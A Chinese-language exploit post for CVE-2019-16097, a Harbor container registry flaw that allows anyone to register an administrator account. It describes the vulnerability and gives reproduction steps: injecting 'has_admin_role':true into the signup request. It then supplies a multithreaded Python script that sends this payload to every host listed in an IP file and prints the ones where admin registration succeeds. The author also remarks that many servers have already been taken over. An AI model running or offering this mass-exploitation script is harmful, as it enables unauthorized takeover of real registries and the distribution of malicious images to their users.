CVE-2019-16097,Harbor 任意管理员注册漏洞复现与批量脚本
0x01漏洞描述
Harbor 是一个用于存储和分发 Docker 镜像的企业级 Registry 服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源 Docker Distribution。作为一个企业级私有 Registry 服务器,Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制,镜像全部保存在私有 Registry 中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor 也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。
近日 Harbor 曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。攻击者可以通过注册管理员账号来接管 Harbor 镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。
0x02漏洞复现
访问Harbor网站,点击注册然后抓取post数据包
数据包后面加上:"has_admin_role":true
查看返回响应包、201代表成功
登录看看,发现好多人已经撸了- -
0x03 批量脚本
import requests import json import csv from concurrent.futures import ThreadPoolExecutor def exp(url): url = url + '/api/users' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } payload = { "username": "test1", "email": "[email protected]", "realname": "test1", "password": "Aa123456", "comment": "test1", "has_admin_role": True } payload = json.dumps(payload) try: requests.packages.urllib3.disable_warnings() r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False) if r.status_code == 201: print(url) except Exception as e: pass if __name__ == '__main__': data = open('ip.txt') # 批量IP reader = csv.reader(data) # 50是线程 with ThreadPoolExecutor(50) as pool: for row in reader: if 'http' not in row[0]: url = 'http://' + row[0] else: url = row[0] pool.submit(exp, url)
username,email,realname,password,comment参数自行修改,成功后会打印出URL。